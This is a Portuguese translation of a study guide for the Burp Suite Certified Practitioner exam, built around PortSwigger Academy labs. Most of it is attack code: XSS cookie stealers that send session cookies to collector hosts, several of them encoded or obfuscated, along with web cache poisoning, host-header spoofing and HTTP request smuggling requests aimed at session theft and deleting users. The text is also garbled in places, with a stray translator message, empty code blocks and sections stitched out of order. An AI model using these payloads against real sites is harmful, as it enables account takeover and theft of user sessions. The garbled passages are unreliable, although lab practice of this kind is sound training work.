>Solicitação XInclude fora de banda, precisa de um DTD hospedado para ler o arquivo local.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

>Aplique URL encoding aos caracteres-chave.  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>Use o cookie do usuário administrador para acessar o painel administrativo, substituindo-o na sessão atual do navegador.  

[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# Acesso Inicial  
  
# Descoberta de Conteúdo  

>A enumeração do alvo começa com fuzzing de diretórios e arquivos web. Use as ferramentas de engajamento do Burp, a opção de descoberta de conteúdo para encontrar caminhos e arquivos ocultos, ou use `FFUF` para enumerar diretórios e arquivos web. Examinar o `robots.txt` ou o `sitemap.xml` pode revelar conteúdo.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[PortSwigger Lab: Divulgação de informações no histórico de controle de versão](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>Sempre abra o `código-fonte` para procurar comentários de desenvolvedores que revelem arquivos ou caminhos ocultos. O exemplo abaixo leva a [desserialização de token do symphony](#deserialization).  

![Comentário de depuração de desserialização no código DEV](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## XSS baseado em DOM  

[Indicadores de XSS no DOM](#identify-dom-xss)  
[XSS no DOM identificado com o DOM Invader](#dom-invader)  
[XSS no DOM AngularJS](#vuln-angularjs)  
[XSS no DOM document.write em select](#doc-write-location-search)  
[XSS no DOM JSON.parse em mensagens web](#dom-xss-jsonparse-web-messages)  
[XSS no DOM AddEventListener em URL JavaScript](#dom-xss-addeventlistener-javascript-url)  
[XSS no DOM AddEventListener em mensagens de anúncios](#dom-xss-addeventlistener-ads-message)  
[XSS no DOM Eval Reflected Cookie Stealer](#reflected-dom-xss)  
[XSS no DOM no cookie LastviewedProduct](#dom-xss-lastviewedproduct-cookie)  

### Identificar XSS no DOM  

>Vulnerabilidades de XSS baseado em DOM surgem quando o JavaScript obtém dados de uma fonte controlável pelo atacante, como a URL, e passa código para um sink que suporta execução dinâmica de código. 
>Teste quais caracteres permitem escapar do ponto de injeção no `código-fonte`, usando a string de fuzzer abaixo.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

>[Payload de roubo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) usando `on.constructor` que pode ser colocado em iframe, hospedado em um servidor de exploração, resultando no envio do cookie de sessão da vítima para o Burp Collaborator.  
>[Folha de referência do PortSwigger para cross-site scripting](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [payload de roubo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) em um sink `document.write` usando a fonte `location.search` dentro de um elemento `<select>`. Isso pode ser enviado à vítima via servidor de exploração em `

![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[Laboratório PortSwigger: DOM XSS usando mensagens web e JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>DOM Invader usado para identificar e testar DOM XSS usando mensagens web  

![DOM Invader identifica mensagens web](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>Reproduza a post message usando o DOM Invader após alterar os dados JSON.```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

Depois que o cookie da vítima é atualizado, o log do servidor Exploit captura o valor secreto do cookie.  

>Com a grande ajuda de ***ShehmeerAbidRajput***, atualizei este laboratório com o payload de roubo de cookies fornecido por ele.  

[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  

-----

## Cross Site Scripting  

[Recursos XSS](#xss-resources)  
[Identificar tags permitidas](#identify-allowed-tags)  
[Contornar tags bloqueadas](#bypass-blocked-tags)  
[XSS para atribuir protocolo](#xss-assign-protocol)  
[Tags personalizadas não bloqueadas](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[XSS de string refletida](#reflected-string-xss)  
[Escape extra de string refletida](#reflected-string-extra-escape)  
[Escape do sandbox AngularJS](#angularjs-sandbox-escape)  
[Template literal de XSS](#xss-template-literal)  
[XSS via JSON para EVAL](#xss-via-json-into-eval)  
[XSS armazenado](#stored-xss)  
[XSS DOM armazenado](#stored-dom-xss)  
[XSS em upload de SVG](#xss-svg-upload)  
  
### Recursos XSS  

>Páginas de recursos XSS para consultar payloads para **tags** e **eventos**.   

+ [Folha de dicas de Cross-site scripting (XSS)](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [Notas de estudo do HackTheBox CPTS sobre XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>A ferramenta CSP Evaluator verifica se a política de segurança de conteúdo está em vigor para mitigar ataques XSS. Por exemplo, se o `base-uri` estiver ausente, essa vulnerabilidade permitirá que o atacante use o método de exploração alternativo descrito em [Escalar self-XSS armazenado](#upgrade-stored-self-xss).  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>Quando o comprimento máximo do campo de entrada for de apenas 23 caracteres, use este recurso para **Tiny XSS Payloads**.  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>Defina um cookie de teste não seguro no navegador usando o console do DevTools do navegador, para usar durante testes de XSS de POC [payloads de roubo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

I don't see any content to translate in this chunk. The input after "INPUT:" is empty. Please provide the actual Markdown content.```html
"><svg><animatetransform onbegin=alert(1)>

>O envio dos payloads acima pode retornar a mensagem ***"Tag is not allowed"*** devido ao Web Application Firewall (WAF) estar bloqueando injeções.
>Em seguida, ***identifique*** as tags permitidas usando a [Metodologia da PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).  

>Codificadores e decodificadores online de URL e Base64  

+ [URL Decode and Encode](https://www.urldecoder.org/)  
+ [BASE64 Decode and Encode](https://www.base64encode.org/)  
  
>Este laboratório oferece uma ótima **Metodologia** para ***identificar*** tags HTML e eventos permitidos para criar um POC XSS.  

>Hospede o código **iframe** no servidor de exploit e entregue o link do exploit à vítima.```html

>Coloque o payload acima no servidor de exploit e insira a URL com o valor de busca em um ```iframe``` antes de entregá-lo à vítima no bloco de código abaixo.```html

![XSS protocol location](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### Tags Personalizados não Bloqueados  
  
>A aplicação responde com a mensagem ***"Tag not allowed"*** ao tentar inserir payloads XSS, mas se criarmos uma tag personalizada, ela é contornada.```html
<xss+id=x>#x';

>**Nota:** A tag personalizada com o ID ```x```, que contém um manipulador de eventos **onfocus** que aciona a função ```document.location```. O caractere **HASH** `#` no final da URL foca neste elemento assim que a página é carregada, fazendo com que o payload seja chamado. Hospede o script do payload no servidor de exploração em tags ```script``` e envie para a vítima. Abaixo está o mesmo payload, mas em formato **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

>Nota: se o cookie estiver protegido com a flag **HttpOnly** habilitada, o cookie não pode ser roubado usando XSS.  

> O payload do PortSwigger Lab executa print.```JavaScript

>Alterando o payload para um ladrão de cookies que entrega o token de sessão ao Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

>Servidor de exploit hospedando vulnerabilidade refletida de termo de pesquisa que é enviada à vítima para obter seu cookie de sessão.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

>Usando uma única **barra invertida**, aspas simples e **ponto e vírgula**, escapamos da variável de string do JavaScript; então, usando crases para envolver o caminho ```document.location```, permitimos que o ladrão de cookies contorne a proteção da aplicação.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

>Payload do Collaborator ***ladrão de cookies***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

>Script Python para converter qualquer payload em valores decimais ASCIII:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>Obrigado a ***Adrián Gyurácz***, por fornecer um bypass incrível onde não consegui obter um bypass de cookie stealer que funcionasse com todos os filtros para este laboratório.  

>***Adrián Gyurácz*** encontrou o seguinte artigo de pesquisa da Portswigger que levou à solução:  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### Com base no acima, o payload dele:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

[secjuice: Contorne filtros de XSS usando variáveis globais do JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>Abaixo está o principal [payload de roubo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) antes de codificá-lo em BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

>Teste o payload em nosso próprio cookie de sessão na função de busca.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

>Hospedar o `IFRAME` no servidor de exploração gera uma mensagem de **erro** de recusa de conexão ao alvo. Em vez disso, hospede o payload no servidor de exploração entre as tags `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

>As entradas de log abaixo mostram as solicitações feitas ao servidor de exploração, e a partir dos logs podemos ***identificar*** que `/img` e `/video` das tags acima foram permitidos no aplicativo e fizeram solicitações quando acessados.  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>Cross site Scripting salvo no comentário de post do Blog. Este payload de Cookie Stealer envia então o cookie de sessão da vítima para os logs do servidor de exploração.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

#### Post de Blog com Stored XSS  

>Roubador de cookies de post de blog com Stored XSS que envia o cookie do documento para o servidor de exploração.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

>[IPPSEC YouTube usando o HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), mostrando o código JavaScript `payload.js`, como ele usa `fetch` e aprende JavaScript.  

[Lab PortSwigger: Explorando cross-site scripting para roubar cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)  
  
#### Aprimore o self-XSS armazenado  

>Comentário de blog com **self-XSS armazenado**, aprimorando o payload para roubar informações da vítima do DOM. A função **editar conteúdo** reflete a entrada na tag `<script>`. O token CSRF para **escrever comentário** é o mesmo da função **editar conteúdo**. O payload abaixo usa a função **escrever comentário** para fazer a vítima criar uma entrada de blog no seu próprio blog com nosso conteúdo malicioso.
>O caractere `a` é adicionado para escapar o caractere `#` do `source code` inicial da aplicação.
>O `source code` abaixo na entrada do blog é o exploit completo para roubar informações da vítima.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

>Entregue o exploit enviando à vítima a URL que referencia a publicação do blog acima; isso acionará XSS como a vítima.  

[intigriti - Upgrade de Self-XSS - Solução do Desafio XSS de 22 de dezembro](https://youtu.be/FowbZ8IlU7o)  

>Exploit alternativo usando injeção de HTML na página de publicação do blog Edit Content, ***identificado*** usando [verificação de CSP de Recursos XSS](#xss-resources).```
<base href="https://Exploit.net">

>O payload modificado do laboratório PortSwigger atribui a função `document.location` à variável `defaultAvatar` na próxima vez que a página for carregada, porque o site usa DOMPurify, que permite o uso do protocolo `cid:`, que não faz URLencode de aspas duplas.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

>O payload acima é armazenado e qualquer usuário que visitar o blog de comentários terá seu cookie de sessão roubado e enviado ao colaborador.  

![stored DOM-XSS json comments](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>Payload do Laboratório PortSwigger: `<>`.  

[Laboratório PortSwigger: Stored DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  
  
-----

## Envenenamento de Cache Web  

[Cabeçalho sem chave](#unkeyed-header)  
[Utm_content sem chave](#unkeyed-utm_content)  
[Ocultando utm_content](#cloaking-utm_content)  
[Envenenar requisição ambígua](#poison-ambiguous-request)  
[Envenenamento de cache com múltiplos cabeçalhos](#cache-poison-multiple-headers)  

### Cabeçalho sem chave  

>O alvo usa o JavaScript **tracking.js**,  
>e é vulnerável ao cabeçalho **```X-Forwarded-Host```** ou **```X-Host```** que redireciona o caminho,  
>permitindo o roubo de cookies por meio do envenenamento do cache.  

>***Identifique*** os cabeçalhos de cache web na resposta e o script tracking.js no código-fonte da página.  
>Explore a vulnerabilidade hospedando JavaScript e injetando o cabeçalho para envenenar o cache do alvo, redirecionando a vítima que o visitar.  

![Revisão do `código-fonte` do Tracking](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>O corpo envia cookie de sessão para o serviço de colaboração.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

>O payload acima é armazenado em cache e o cookie da vítima que visita o alvo é enviado ao Burp collaborator.  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[PortSwigger Lab: Envenenamento de cache web via parâmetro de consulta não chaveado](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### Cloaking de utm_content  

>A extensão Param Miner, ao realizar um `Bulk scan > Rails parameter cloaking scan`, ***identificará*** automaticamente a vulnerabilidade. Manualmente, pode ser identificado adicionando `;` para anexar outro parâmetro ao `utm_content`; o cache trata isso como um único parâmetro. Isso significa que o parâmetro extra também é excluído da chave do cache.  
>O `código-fonte` de `/js/geolocate.js?callback=setCountryCookie` é chamado em todas as páginas e executa a função de callback.  

>O parâmetro `callback` é chaveado e, portanto, não pode envenenar o cache para o usuário vítima, mas ao combinar o parâmetro duplicado com `utm_content`, ele é então excluído e o cache pode ser envenenado.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

>Abaixo está o payload [URL decodificado](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

>No servidor de exploração, defina um arquivo no mesmo caminho das chamadas do alvo para ```/resources/js/tracking.js```; este conterá o payload. Coloque o código do payload JavaScript abaixo para realizar um roubo de cookies.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

![x-forwarded-scheme não https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>No servidor de exploração, altere o caminho do arquivo para ```/resources/js/tracking.js```  
>e então atualize o cabeçalho ```X-Forwarded-Host: EXPLOIT.net``` da requisição de envenenamento.  
>Coloque o payload no corpo do servidor de exploração.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

>A função que é chamada na resposta ao passar um parâmetro de callback duplicado é refletida. Observe que na resposta a chave de cache ainda é derivada do parâmetro de callback original na linha da solicitação GET.  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>Não foi possível fazer o payload de roubo de cookies funcionar......  

[PortSwigger Lab: Web cache poisoning via a fat GET request](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  
  
-----

## Host Headers  

[Spoof IP Address](#spoof-ip-address)  
[HOST Connection State](#host-connection-state)  
[Host Routing based SSRF](#host-routing-based-ssrf)  
[SSRF via flawed Host request parsing](#absolute-get-url--host-ssrf)  

### Spoof IP Address  

>***Identifique*** que cabeçalhos HOST alterados são suportados,  
>o que permite falsificar seu endereço IP e contornar a proteção de força bruta baseada em IP  
>ou ataques de redirecionamento para fazer envenenamento de ***redefinição de senha***.  
  
>Inclua os cabeçalhos `X- ` abaixo e altere o parâmetro de nome de usuário na solicitação de redefinição de senha para `Carlos` antes de enviar a solicitação.  
>No exame BSCP, se você usou esse exploit, isso significa que você não usou uma vulnerabilidade que exige interação do usuário e permite usar uma vulnerabilidade de interação para obter acesso ao estágio 3 como admin usando a função `Deliver exploit to victim` do servidor de exploit.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

>Próxima solicitação é a segunda aba na sequência de solicitações do grupo.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

>Alguns servidores que suportam o cabeçalho `Transfer-Encoding` podem ser induzidos a não processá-lo se o cabeçalho estiver **obfuscado** de alguma forma.  

>No menu Repeater, certifique-se de que a opção **"Atualizar Content-Length"** esteja desmarcada.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

>Calculando o comprimento da requisição de contrabando TE.CL (Transfer-Encoding / Content-Length) em **HEXADECIMAL** e o payload está entre o comprimento hexadecimal de **71** e o **ZERO** terminal, não incluindo o ZERO E não incluindo o `\r\n` anterior na linha acima de ZERO, como parte do comprimento. O **content-length** da requisição POST inicial é definido manualmente.  
  
![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)  

>Ao enviar `/admin/delete?username=carlos` para excluir o usuário, o comprimento hexadecimal da codificação de transferência é alterado de `71` para o valor hexadecimal `88` para incluir o tamanho extra da requisição contrabandeada.  

[Laboratório PortSwigger: Explorando o contrabando de requisições HTTP para contornar os controles de segurança do front-end, vulnerabilidade TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)  

### CL.TE multiCase - Admin bloqueado  

>Ao tentar acessar o caminho de URL do portal `/admin`, recebemos a mensagem do filtro, `Path /admin is blocked`. O scanner HTTP Request Smuggler ***identifica*** a vulnerabilidade como `CL.TE multiCase (delayed response)`.  

>Para acessar o painel de administração, envie a requisição abaixo duas vezes, adicionando o segundo cabeçalho ```Content-Length: 10``` para evitar que o cabeçalho HOST entre em conflito com a primeira requisição.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

![Explorando o contrabando de solicitações HTTP com valor de content-length](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>Sem nova linha no final da solicitação POST contrabandeada acima^^.  

>Veja o **post** do blog para verificar se há um comentário contendo a solicitação de um usuário. Observe que o ataque só terá sucesso quando o usuário vítima navegar pelo site de destino. Copie o cabeçalho Cookie do usuário a partir do comentário no blog e use o cookie para acessar a conta da vítima.  
  
![Explorando o contrabando de solicitações HTTP para capturar solicitações de outros usuários](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[Laboratório PortSwigger: Explorando o contrabando de solicitações HTTP para capturar solicitações de outros usuários](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - Roubador de Cookie User-Agent  
  
>***Identifique*** que o valor do UserAgent é armazenado na solicitação GET que carrega o formulário de comentário do blog, e fica armazenado no valor oculto **User-Agent**. Explorar o contrabando de solicitações HTTP para entregar XSS refletido usando o valor **User-Agent**, que é então colocado em uma solicitação contrabandeada.  

>Payload básico de Cross Site Scripting escapando do documento HTML.```JavaScript
 "/><script>alert(1)</script>

>Contrabandeie esta requisição XSS para o servidor de back-end, para que ela explore o próximo visitante. Coloque o roubador de cookies XSS no cabeçalho **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

![contrabando http2 via injeção crlf](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[Laboratório PortSwigger: contrabando de requisições HTTP/2 via injeção de CRLF](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[Demonstração no Youtube: contrabando de requisições HTTP/2 via injeção de CRLF](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>O alvo é vulnerável a contrabando de requisições porque o servidor front-end faz downgrade das requisições HTTP/2 mesmo quando elas têm um comprimento ambíguo. Roube o  cookie de sessão, do administrador que visita o alvo. A extensão do Burp, **HTTP Request Smuggler**, ***identificará*** a vulnerabilidade como HTTP/2 TE desync v10a (H2.TE).  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>Nota: Mude para **HTTP/2** nos atributos de requisição do inspetor e ative a opção **Allow HTTP/2 ALPN override** no menu de repetição.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[Laboratório PortSwigger: Envenenamento da fila de respostas via contrabando de requisição H2.TE](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## Força Bruta  

